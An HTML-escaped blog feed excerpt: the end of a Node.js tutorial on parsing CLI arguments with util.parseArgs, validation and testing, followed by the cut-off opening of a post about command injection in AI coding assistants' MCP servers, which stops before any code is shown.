&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;parseCommandLineArgs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;CliArgs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;values&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;parseArgs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    args: process.argv.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    options: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      app: { type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;string&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, short: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;a&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      topics: { type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;string&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, multiple: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, short: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;t&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      help: { type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;boolean&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, short: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;h&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      version: { type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;boolean&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, short: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;v&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; values;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Why this matters&lt;/strong&gt;: This function demonstrates how to set up argument parsing using Node.js built-in utilities.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Verify&lt;/strong&gt;: Run the CLI with various flags to see parsed output.&lt;/p&gt;
&lt;h2 id=&quot;implementing-dual-mode-cli&quot;&gt;Implementing Dual-Mode CLI&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;agent-rules&lt;/code&gt; project supports both interactive and automated workflows. This dual-mode operation is crucial for flexibility in different environments.&lt;/p&gt;
&lt;h3 id=&quot;step-by-step-guide&quot;&gt;Step-by-Step Guide&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Add Command-Line Argument Support&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Modify your CLI application to accept command-line arguments. This involves defining the expected options and their types.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;parseCommandLineArgs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Implement Interactive Mode&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Use the &lt;code&gt;@clack/prompts&lt;/code&gt; library to create an interactive session when no arguments are provided.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { prompt } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@clack/prompts&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;interactiveMode&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;prompt&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Enter the app name:&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;topics&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;prompt&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Enter topics (comma-separated):&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Process inputs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Switch Between Modes&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Determine the mode based on the presence of command-line arguments.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (Object.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;keys&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(args).&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;interactiveMode&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Process command-line arguments&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Why this matters&lt;/strong&gt;: Dual-mode operation allows users to choose between automation and manual interaction, enhancing usability.&lt;/p&gt;
&lt;h2 id=&quot;validating-and-handling-arguments&quot;&gt;Validating and Handling Arguments&lt;/h2&gt;
&lt;p&gt;Proper validation and error handling are essential for robust CLI applications. This ensures that users receive clear feedback when they provide invalid inputs.&lt;/p&gt;
&lt;h3 id=&quot;techniques-for-validation&quot;&gt;Techniques for Validation&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Validate CLI Inputs&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ensure that the provided arguments meet the expected criteria.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;validateCliArgs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;CliArgs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (args.app &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;AVAILABLE_APPS&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;includes&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(args.app)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`Error: Invalid app &quot;${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}&quot;. Available apps: ${&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;AVAILABLE_APPS&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;, &apos;&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    process.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Why this matters&lt;/strong&gt;: Validating inputs prevents errors and provides helpful feedback to users.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Verify&lt;/strong&gt;: Test with invalid app names to trigger validation errors.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Handle Errors Gracefully&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Use try-catch blocks to manage unexpected errors and provide meaningful messages.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;validateCliArgs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(args);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (error) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;An error occurred:&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, error.message);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  process.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Why this matters&lt;/strong&gt;: Effective error handling improves the user experience by preventing crashes and guiding users to correct their inputs.&lt;/p&gt;
&lt;h2 id=&quot;testing-cli-applications&quot;&gt;Testing CLI Applications&lt;/h2&gt;
&lt;p&gt;Testing is a critical part of developing reliable CLI tools. It ensures that your application behaves as expected under various scenarios.&lt;/p&gt;
&lt;h3 id=&quot;writing-unit-tests&quot;&gt;Writing Unit Tests&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Test Argument Parsing&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Use the Node.js &lt;code&gt;assert&lt;/code&gt; module to write unit tests for your argument parsing logic.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; assert &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;node:assert&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;deepStrictEqual&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;parseCommandLineArgs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;([&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;--app&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;myApp&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;]), { app: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;myApp&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; });&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Simulate CLI Interactions&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Use &lt;code&gt;spawnSync&lt;/code&gt; to simulate command-line interactions in your tests.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { spawnSync } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;node:child_process&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;result&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;spawnSync&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;node&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;cli.js&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;--app&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;myApp&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;strictEqual&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(result.status, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Why this matters&lt;/strong&gt;: Testing ensures that your CLI application handles different input scenarios correctly and reliably.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;By mastering CLI argument parsing in Node.js, you can build powerful and flexible command-line tools. This guide covered the essentials of using the &lt;code&gt;util.parseArgs&lt;/code&gt; API, implementing dual-mode operations, validating inputs, and testing your applications. With these skills, you’re well-equipped to enhance your Node.js CLI projects.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Try the updated &lt;code&gt;agent-rules&lt;/code&gt; CLI&lt;/strong&gt; with your own AI app configurations.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Follow on X/Twitter for new guides and security research.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Explore more code examples and related work on GitHub.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For further reading, check out the &lt;a href=&quot;https://nodejs.org/dist/latest-v18.x/docs/api/util.html#utilparseargsconfig&quot;&gt;Node.js &lt;code&gt;util&lt;/code&gt; module documentation&lt;/a&gt; and the &lt;a href=&quot;https://github.com/lirantal/agent-rules&quot;&gt;Agent Rules GitHub Repository&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title>Poetic Tales of Vulnerable MCP Servers: Command Injection in AI Coding Assistants</title><link>https://lirantal.com/blog/poetic-tales-vulnerable-mcp-servers-command-injection-ai-coding-assistants/</link><guid>https://lirantal.com/blog/poetic-tales-vulnerable-mcp-servers-command-injection-ai-coding-assistants/</guid><description>Model Content Protocol (MCP) servers can be a security nightmare if not handled properly. This post explores a real-world command injection vulnerability in AI coding assistants, illustrating the risks and implications for developers.</description><pubDate>Thu, 11 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;From the chronicles of a developer who learned the hard way about command injection vulnerabilities in AI coding assistants.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I shipped a critical vulnerability yesterday.&lt;/p&gt;
&lt;p&gt;Not because of a leaked API key.
Not because of a sophisticated phishing attack.
Not even because I committed my &lt;code&gt;.env&lt;/code&gt; file to a public repo (again).&lt;/p&gt;
&lt;p&gt;But because,&lt;/p&gt;
&lt;p&gt;in the security post-mortem’s exact words:&lt;/p&gt;
&lt;p&gt;“The application blindly trusts and executes user-provided input without any validation.”&lt;/p&gt;
&lt;p&gt;I stared at the screen for a moment and realized…&lt;/p&gt;
&lt;p&gt;They just perfectly described how my new AI coding assistant works.&lt;/p&gt;
&lt;p&gt;Turns out I wasn’t just being a lazy developer. I was being dangerously efficient.&lt;/p&gt;
&lt;p&gt;See, in agentic AI workflows, you extend your Large Language Model (LLM) with MCP servers to give it new powers. But what happens when a tool is &lt;em&gt;too&lt;/em&gt; trusting? It takes your instructions literally, including the malicious parts. This is a classic &lt;a href=&quot;https://www.nodejs-security.com/book/command-injection&quot;&gt;Command Injection&lt;/a&gt; vulnerability.&lt;/p&gt;
&lt;p&gt;Here’s the terrifyingly simple code:&lt;/p&gt;
